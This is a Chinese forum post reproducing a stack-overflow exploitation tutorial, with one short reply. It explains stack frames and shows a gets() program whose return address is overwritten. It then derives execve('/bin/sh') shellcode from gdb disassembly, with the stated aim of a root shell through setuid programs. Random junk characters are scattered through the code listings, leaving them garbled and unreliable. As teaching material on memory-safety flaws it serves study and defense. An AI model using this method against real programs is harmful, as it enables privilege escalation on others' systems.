堆栈溢出技术从入门到精通

helendcany

堆栈溢出技术从入门到精通

2 |0 ^+ e3 K: d, f

虽然溢出在程序开发过程中不可完全避免，但溢出对系统的威胁是巨大的，由于系统的特殊性，溢出发生时攻击者可以利用其漏洞来获取系统的高级权限root，因此本文将详细介绍堆栈溢出技术……

在您开始了解堆栈溢出前，首先你应该了解win32汇编语言，熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面的基础知识，有关这方面的计算机书籍很多，我将只是简单阐述原理，着重在应用。其次，你应该了解linux，本讲中我们的例子将在linux上开发。

1、首先复习一下基础知识。

从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配在堆栈里面。

从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push=ESP-4，出栈的操作是pop=ESP+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要大。请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。

在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局部变量，接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。

在C语言程序中，参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候，是：先压c，再压b,最后a。在取参数的时候，由于栈的先入后出，先取栈顶的a，再取b,最后取c。这些是汇编语言的基础知识，用户在开始前必须要了解这些知识。

2、现在我们来看一看什么是堆栈溢出。

运行时的堆栈分配

堆栈溢出就是不顾堆栈中数据块大小，向该数据块写入了过多的数据，导致数据越界，结果覆盖了老的堆栈数据。

例如程序一：

#include   # M, w5 F# f8 _  t7 W3 rint main ( ) 5 z- t$ ?4 Z# B' Z4 {{ : g: l/ i+ W! F3 A( s' U6 K/ F: jchar name[8]; printf("Please type your name: "); % G- F/ U& |9 ^+ mgets(name); printf("Hello, %s!", name); return 0; }

编译并且执行，我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中，堆栈是怎么操作的呢?

在main函数开始运行的时候，堆栈里面将被依次放入返回地址，EBP。

我们用gcc -S 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句：

pushl %ebp 1 A5 t2 n' x4 H9 e( [, jmovl %esp,%ebp subl $8,%esp

首先他把EBP保存下来，，然后EBP等于现在的ESP，这样EBP就可以用来访问本函数的局部变量。之后ESP减8，就是堆栈向上增长8个字节，用来存放name[]数组。最后，main返回，弹出ret里的地址，赋值给EIP，CPU继续执行EIP所指向的指令。

堆栈溢出

现在我们再执行一次，输入ipxodiAAAAAAAAAAAAAAA,执行完gets(name)之后，由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写‘A’。由于堆栈的生长方向与内存的生长方向相反，这些‘A’覆盖了堆栈的老的元素。 我们可以发现，EBP，ret都已经被‘A’覆盖了。在main返回的时候，就会把‘AAAA’的ASCII码：0x41414141作为返回地址，CPU会试图执行0x41414141处的指令，结果出现错误。这就是一次堆栈溢出。

3、如何利用堆栈溢出

我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数(gets，strcpy等等)没有对数组越界加以监视和限制，我们利用字符数组写越界，覆盖堆栈中的老元素的值，就可以修改返回地址。

在上面的例子中，这导致CPU去访问一个不存在的指令，结果出错。事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令。

在UINX/linux系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得root shell。下一讲将叙述如何书写一个shell code。

如何书写一个shell code

一：shellcode基本算法分析

在程序中，执行一个shell的程序是这样写的：

shellcode.c - j& Q7 [) S5 F- x: f------------------------------------------------------------------------ ' i- i( W6 b# ^1 k# ?; q: D: ?; J6 _#include   void main() { ; X- ?/ d/ b3 c1 B' schar *name[2]; ' [* v: @( I: T" dname[0] = "/bin/sh" * V" S" q$ C) o. }) @2 sname[1] = NULL; execve(name[0], name, NULL); , W% l8 k; F7 @6 B- r% ~} , w8 y# e/ l* w- k) N------------------------------------------------------------------------

execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv(argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为第三个参数。

我们来看以看execve的汇编代码：

[nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c [nkl10]$Content$nbsp;gdb shellcode (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp ; 0x80002bd <__execve+1>: movl %esp,%ebp 6 E/ ]( e) K, Q5 ~5 J;上面是函数头。 0x80002bf <__execve+3>: pushl %ebx ;保存ebx 2 m5 b: O$ ^' Q9 A0x80002c0 <__execve+4>: movl $0xb,%eax ;eax=0xb，eax指明第几号系统调用。 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 3 n8 v0 k1 Y3 Y6 w: C8 U1 r8 j& e;ebp+8是第一个参数"/bin/sh\0" 3 {* T& }  d# H1 l2 R2 M' F/ a/ m3 c& v0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx ;ebp+12是第二个参数name数组的地址 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 7 I8 }5 f; E) c8 v;ebp+16是第三个参数空指针的地址。 ;name[2-1]内容为NULL，用来存放返回值。 0x80002ce <__execve+18>: int $0x80 , w+ e4 }$ H# S2 B;执行0xb号系统调用(execve) 0x80002d0 <__execve+20>: movl %eax,%edx ;下面是返回值的处理就没有用了。 . l5 Y3 ?: I. |( W' m9 Q. c0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 6 L( q" y& b# z" I$ k* s0x80002d6 <__execve+26>: negl %edx / r5 N( q2 f6 _2 y! I$ y! y0x80002d8 <__execve+28>: pushl %edx # ]( H1 I; s- }0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> ( o; }, L$ a3 l7 c; ~0x80002de <__execve+34>: popl %edx & O; S8 f7 y0 w1 Z% K' y0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 6 b  _% n/ x! |7 `" a8 H( p, w0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret " o! Y8 R1 O* L7 X) x8 F1 J$ i0x80002eb <__execve+47>: nop ( h2 z2 Q/ x6 E! N( M. D3 A2 lEnd of assembler dump.

经过以上的分析，可以得到如下的精简指令算法：

movl $execve的系统调用号,%eax & u0 T0 p: n. h9 cmovl "bin/sh\0"的地址,%ebx ! a( t# m: n8 D0 O( Emovl name数组的地址,%ecx ( h' e0 E1 u& @" F' u+ |2 n  U$ {movl name[n-1]的地址,%edx int $0x80 ;执行系统调用(execve)

当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。可是，如果我们的execve执行失败，(比如没有/bin/sh这个文件)，CPU就会继续执行后续的指令，结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用，结束shellcode.c的执行。

我们来看以看exit(0)的汇编代码：

(gdb) disassemble _exit 9 j  A4 p! l! c6 [6 s% yDump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0 0x8000358 <_exit+12>: int $0x80 ;引发系统调用 3 u& D# W- ^3 @  w5 k5 [0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx ' P, L3 t2 W+ b8 u3 ~  G* U0x800035d <_exit+17>: movl %ebp,%esp 7 V4 O( w' v. k0x800035f <_exit+19>: popl %ebp ! H( a/ J3 X) t; C5 O2 u0x8000360 <_exit+20>: ret : L8 T  y9 _' ~0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump.

看来exit(0)〕的汇编代码更加简单：

movl $0x1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 int $0x80 ;引发系统调用

那么总结一下，合成的汇编代码为：

movl $execve的系统调用号,%eax 9 j7 e5 K' \- h1 L4 w# |' Pmovl "bin/sh\0"的地址,%ebx movl name数组的地址,%ecx movl name[n-1]的地址,%edx int $0x80 ;执行系统调用(execve)   t0 i. H- h) }8 e3 Omovl $0x1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 1 O" H2 y0 O/ N1 }- iint $0x80 ;执行系统调用(exit)

( b* A% q2 G  a

cj223356

学习一下，谢谢楼主分享、